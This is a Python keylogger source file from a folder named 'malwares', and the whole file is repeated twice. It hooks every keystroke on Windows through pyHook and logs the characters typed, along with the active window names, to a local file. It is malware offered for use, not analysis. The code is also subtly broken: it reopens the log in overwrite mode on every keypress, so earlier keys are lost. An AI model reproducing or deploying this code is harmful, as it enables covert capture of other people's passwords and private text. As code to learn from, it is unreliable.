<filename>malwares/keylogger.py<gh_stars>0
import pyHook
import pythoncom

f = open('C:\\log.txt', 'w+')

w = None

def OnKeyboardEvent(event):
  f = open('log.txt', 'w+')
  global w

  if event.WindowName != w:
    w = event.WindowName
    f.write('\n' + w + '\n')

  f.write(chr(event.Ascii))
  f.close()

hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()


<filename>malwares/keylogger.py<gh_stars>0
import pyHook
import pythoncom

f = open('C:\\log.txt', 'w+')

w = None

def OnKeyboardEvent(event):
  f = open('log.txt', 'w+')
  global w

  if event.WindowName != w:
    w = event.WindowName
    f.write('\n' + w + '\n')

  f.write(chr(event.Ascii))
  f.close()

hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()

